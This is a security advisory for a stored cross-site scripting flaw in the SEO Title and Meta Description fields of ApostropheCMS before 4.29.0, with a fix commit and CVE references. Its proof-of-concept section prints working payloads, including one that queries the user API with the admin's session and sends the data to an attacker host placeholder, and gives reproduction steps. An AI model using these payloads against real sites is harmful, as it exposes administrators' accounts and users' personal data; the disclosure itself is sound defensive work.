GHSA-855c-r2vq-c292 Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS

• npm apostrophe: < 4.29.0 → fixed in 4.29.0

Summary A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS. Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality. Affected Version ApostropheCMS (tested on version: v4.28.0) Vulnerability Details User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as: • `` • `` attributes • structured data (JSON-LD) This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users. PoC 1 The following payload demonstrates breaking out of HTML context: ```javascript ">alert(1) ``` This confirms: • Improper output encoding • Ability to escape ` / ` contexts • Arbitrary script execution PoC 2 This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data. ```javascript "> fetch('/api/v1/@apostrophecms/user', { credentials:'include' }) .then(r=>r.text()) .then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) }) ``` Video Proof of Concept Watch the following YouTube video for a full demonstration of the exploit: PoC Video: https://youtu.be/FZuulua_pa8 Steps to Reproduce 1. Start a local listener: `python3 -m http.server 5656` 2. Login to ApostropheCMS as an authenticated user 3. Create or edit a page 4. Navigate to SEO settings 5. Insert the payload into the SEO Title field and Meta Description ```javascript "> fetch('/api/v1/@apostrophecms/user',{ credentials:'include' }) .then(r=>r.text()) .then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) }) ``` 6. Set Schema Type to "Web page" 7. Save and publish the page 8. Have an administrator visit the page Result • The payload executes in the admin’s browser • The script sends a request to: `/api/v1/@apostrophecms/user` • The response contains sensitive user data: • usernames • email addresses • roles (including admin) • The data is exfiltrated to the attacker-controlled server: • `http://ATTACKER-IP:5656` Evidence • The attacker server receives: • `GET /?data=BASE64_ENCODED_RESPONSE` • Decoding the response reveals sensitive application data. Security Impact This vulnerability allows an attacker to: • Execute arbitrary JavaScript in an authenticated admin context • Perform authenticated API requests (session riding) • Access sensitive application data via internal APIs • Exfiltrate sensitive data to an external attacker-controlled server ## References • Fix commit: https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3 • https://www.cve.org/CVERecord?id=CVE-2026-35569 • https://nvd.nist.gov/vuln/detail/CVE-2026-35569 • https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569